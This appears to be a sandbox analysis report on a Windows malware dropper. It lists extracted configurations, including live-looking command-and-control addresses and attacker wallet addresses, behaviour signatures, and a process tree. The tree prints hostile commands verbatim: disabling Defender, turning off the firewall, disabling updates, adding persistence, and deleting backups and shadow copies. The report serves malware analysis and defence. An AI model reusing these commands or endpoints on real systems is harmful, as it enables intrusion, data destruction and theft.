Resubmissions
30/08/2026, 18:07
260830-wqdtasyxd11015/08/2026, 20:51
260815-zm6lpahf9315/08/2026, 20:41
260815-zgvbgagm7y14/08/2026, 22:57
260814-2w7w8aar3y14/08/2026, 11:48
260814-nyhs8aszbx1014/08/2026, 04:14
260814-ett61svse11014/08/2026, 04:07
260814-epvlzscl7y09/08/2026, 10:54
260809-mzv99sztc109/08/2026, 10:54
260809-mzk5aswfjg09/08/2026, 10:47
260809-mv1desdp6xAnalysis
- user interaction
yes - max time kernel
58s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
02/08/2026, 09:41
General
- Target 2to1ep.exe
- Size 13.1MB
- Sample260802-ln4a3axtbt
- SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
Malware Config
Extracted
-
quasar
-
1.4.1
-
Office04
-
94.158.245.53:9992
-
4abbc77f-27e2-4983-8fe9-6fafbfb7627b
-
encryption_key
F5CCD6560C6A9C857BE240A8EE0DF9CF88BC3B2B
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Extracted
-
cobaltstrike
-
100000000
-
http://51.77.77.161:443/sitemap.xml
-
access_type
512
-
beacon_type
2048
-
host
51.77.77.161,/sitemap.xml
-
http_header1
AAAACgAAAFJBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsKi8qO3E9MC44AAAAEAAAABVIb3N0OiB3d3cueWFob28uY28uanAAAAAKAAAAIVJlZmVyZXI6IGh0dHBzOi8vd3d3LnlhaG9vLmNvLmpwLwAAAAoAAAAiQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlLCBicgAAAAoAAAB7VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExMi4wLjAuMCBTYWZhcmkvNTM3LjM2AAAACgAAADRBY2NlcHQtTGFuZ3VhZ2U6IGphLUpQLGphO3E9MC45LGVuLVVTO3E9MC44LGVuO3E9MC43AAAABwAAAAAAAAANAAAAAgAAAARZU0M9AAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_header2
AAAACgAAAFJBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsKi8qO3E9MC44AAAAEAAAABVIb3N0OiB3d3cueWFob28uY28uanAAAAAKAAAAJ1JlZmVyZXI6IGh0dHBzOi8vd3d3LnlhaG9vLmNvLmpwL3NlYXJjaAAAAAoAAAAiQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlLCBicgAAAAoAAAB7VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExMi4wLjAuMCBTYWZhcmkvNTM3LjM2AAAACgAAADRBY2NlcHQtTGFuZ3VhZ2U6IGphLUpQLGphO3E9MC45LGVuLVVTO3E9MC44LGVuO3E9MC43AAAACgAAAC9Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZAAAAAcAAAAAAAAADwAAAA0AAAAFAAAABHlzaWQAAAAHAAAAAQAAAA8AAAANAAAABAAAAAAAAAAAAAA=
-
http_method1
GET
-
http_method2
POST
-
jitter
9472
-
polling_time
45000
-
port_number
443
-
sc_process32
%windir%\syswow64\dllhost.exe
-
sc_process64
%windir%\sysnative\dllhost.exe
-
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnrqnRgLeqPpa2wJGQmftPgeWvFyCCFjULPdTAZQEcqNKgdO0HMT0bB67vQA1xgd1gikHOjzLkBeM3aPIwnDvMP5lH8Zxk+5t6qt4OYGlVoU9vBDwTcXRIMVXHuvvABcaH71IjHfEp3Veqqhs0pcTLabHGtzcBqmzfhmfpqFDgWQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
unknown1
3.24408576e+08
-
unknown2
AAAABAAAAAEAAABVAAAAAgAAAGMAAAANAAAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
uri
/robots.txt
-
user_agent
Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
-
watermark
100000000
Extracted
-
sheetrat
-
1.8
-
president-rogers.gl.at.ply.gg:24830
Extracted
-
xworm
-
XWorm V5.6
-
147.185.221.27:31149
-
christian-optimal.gl.at.ply.gg:18136
-
Install_directory
%AppData%
-
install_file
XClient.exe
Extracted
-
njrat
-
im523
-
TrupAshot
-
documents-elegant.at.ply.gg:54835
-
4a87b5397a2736773782f50e108b2da4
-
reg_key
4a87b5397a2736773782f50e108b2da4
-
splitter
|'|'|
Extracted
-
njrat
-
v2.0
-
Crash
-
late-lil.at.ply.gg:35022
-
Windows
-
reg_key
Windows
-
splitter
|-F-|
Extracted
-
xworm
-
209.145.51.44:7000
-
qaA60TVolmeexQD8
-
install_file
USB.exe
Extracted
-
asyncrat
-
Default
-
delay
1
-
install
true
-
install_file
vortex.exe
-
install_folder
%AppData%
-
local_host
127.0.0.1
Extracted
-
solaris_loader
-
196.251.107.186
-
192.162.199.186
-
196.251.107.163
Extracted
-
xworm
-
XWorm V5.3
-
193.222.96.100:5555
-
Install_directory
%Temp%
-
install_file
requirements.exe
Extracted
-
animateclipper
-
bsc.blockrazor.xyz
-
update-S-2-5-26-24247216-2331352693-3112950123
-
0x8C9C95A830b7E7e86f2f12DB88e911499A6f695f
-
1MuxHw4UUTsGtrYPa648xU822QEnCa7Hdq
-
3CPNSyRZWCpe2RMZ8ZysPkjcJAQJErecTZ
-
4x5U5QpXi4pNnDK9hpmZnV1gYNw78Ns1NWn5KtK5sksc
-
DBwmTibJfzs4nSnpDDsEjfmYqK3MUJDAfy
-
JZQCYTRBUGZR6TD6BLJXMB2ZYXI72CKFYPFGD5MP7K6FFV4XQ6QUFCRNEQ
-
LLSz2i1z6cjdqP34P6n78fCmpEoNAXFEu6
-
MWYxRmLZctVa7QcgiWemXGpvWc4drZBEPj
-
RSqNyaTeGjdbe8541bLG4UWU3jzx9oFGaj
-
TPtJCKJJDbLLPE7Mo9CZHw9RVWKV1hXcJJ
-
UQBEMPCcI_zn2UlBL-7r42fMHr6idU5ph9A_PbQP5lyRSCtd
-
XnbXJUXVRHXP6ejoieGzReP9GTFGvtkEjG
-
bc1phpyljll0vkjaukl33mmxfgcn030fe3rr3kt3lx9tvel7pap72rcsg5shm0
-
bc1qjmmnmjl54c8fzv8s4uvfsklgxe5hwe94kqaxh2
-
cosmos1tddarrjtgstsnutx9qpamsfjkpjjq52arpxklr
-
ltc1q3h79hhtvg0h66wyd9cjy20mzcwjdkcfj60cshz
-
qr6ca92nljwal2gct7wy2cjcnr7ksxmtwggt2ryz9y
-
rhFkjpX2kAUVSGGh9ZvGUYsyYMhSgUz14z
-
auth_token
91c5546b-f7c7-40aa-833d-515aa2cb49f6
-
contract
0x6936edc505501EBB2F202C985a021a06f1c10C9E
-
headers
Authorization: 91c5546b-f7c7-40aa-833d-515aa2cb49f6
Content-Type: application/x-www-form-urlencoded
Signatures
- Family: AnimateClipper,ZigClipper
AnimateClipper is a Windows crypto clipper that hijacks the clipboard to swap wallet addresses.
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Family: Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
- Family: Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Family: Sheetrat, NonEuclid rat
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Family: SolarisLoader
SolarisLoader is a Windows loader written in C.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Family: njRAT/Bladabindi
Widely used RAT written in .NET.
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Detect SalatStealer payload 4 IoCs
- Detect Xworm Payload 4 IoCs
- Detects AnimateClipper 6 IoCs
- Detects Sheetrat Obfuscated Payload 1 IoCs
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Gh0st RAT payload 1 IoCs
- Quasar payload 2 IoCs
- Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
- NirSoft NirCmd 1 IoCs
NirCmd is a lightweight Windows command-line tool for automating system tasks
- Command and Scripting Interpreter: PowerShell 1 TTPs 40 IoCs
Run Powershell and hide display window.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Downloads MZ/PE file 64 IoCs
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Server Software Component: Terminal Services DLL 1 TTPs 2 IoCs
- Signed with revoked ConnectWise certificate 3 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Creates new service(s) 2 TTPs
- Disables service(s) 3 TTPs
- Executes dropped EXE 64 IoCs
- Loads dropped DLL 53 IoCs
- Modifies system executable filetype association 2 TTPs 3 IoCs
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 64 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Power Settings 1 TTPs 4 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 64 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- UPX packed file 11 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Windows directory 2 IoCs
- Launches sc.exe 15 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
- Executes a command shell one-liner 1 TTPs 20 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 48 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
- Modifies Control Panel 3 IoCs
- Modifies registry class 64 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 16 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 35 IoCs
- Suspicious use of SendNotifyMessage 33 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe5⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
-
-
C:\Windows\System32\nslookup.exe"C:\Windows\System32\nslookup.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config UsoSvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\qznrzpvrvu" /s /f3⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\vvnjepffmi" /s /f3⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wuauserv start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\cmetfmccuh" /s /f3⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config BITS start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop BITS3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\zfzsdcyrcj" /s /f3⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f3⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config dosvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop dosvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\rlcschuysj" /s /f3⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable3⤵
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-dc 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -standby-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -standby-timeout-dc 03⤵
- Power Settings
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable3⤵
-
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Downloads MZ/PE file
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
-
-
-
C:\Windows\system32\a\a.exea.exe3⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe4⤵
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "13696" "2192" "2156" "2028" "0" "0" "2168" "0" "0" "0" "0" "0"5⤵
-
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe givenmethebestthignswithbetterplacescomingfromthebest.hta3⤵
-
-
C:\Windows\system32\a\file_8a7c2cae7ca4b114.exefile_8a7c2cae7ca4b114.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\a\a.exea.exe3⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe4⤵
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "11040" "2304" "2184" "2308" "0" "0" "2312" "0" "0" "0" "0" "0"5⤵
-
-
-
-
C:\Windows\system32\a\support.client.exesupport.client.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\mKM65Cf6QNqeOVw9.exemKM65Cf6QNqeOVw9.exe3⤵
- Executes dropped EXE
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" delete "MicrosoftEdgeUpdateTaskMachine_3aa5"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" start "MicrosoftEdgeUpdateTaskMachine_3aa5"4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\a\file_851477f5539ff9f4.exefile_851477f5539ff9f4.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\a\877901a58750.exe877901a58750.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\Client-built.exeClient-built.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Windows\system32\a\client.execlient.exe3⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\system32\a' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="svchost" dir=in action=allow program="C:\Windows\system32\a\client.exe" enable=yes4⤵
- Modifies Windows Firewall
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\a\ScreenConnect.ClientSetup.exeScreenConnect.ClientSetup.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7188 -s 9364⤵
- Program crash
-
-
-
C:\Windows\system32\a\file_f309f8496f916deb.exefile_f309f8496f916deb.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\a\SshCracker.exeSshCracker.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\a\file_77b5757ae75eb20b.exefile_77b5757ae75eb20b.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\Upaavirkeligheden.exeUpaavirkeligheden.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\system32\a\app.exeapp.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\3.exe3.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c MAS_AIO.cmd3⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File netstat.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealTimeMonitoring True4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\2097497C-4F7E-4DF0-B405-9C54712C9A8C\dismhost.exeC:\Users\Admin\AppData\Local\Temp\2097497C-4F7E-4DF0-B405-9C54712C9A8C\dismhost.exe {E05F16B3-4E13-4FE1-8002-4F01A02C724D}4⤵
-
-
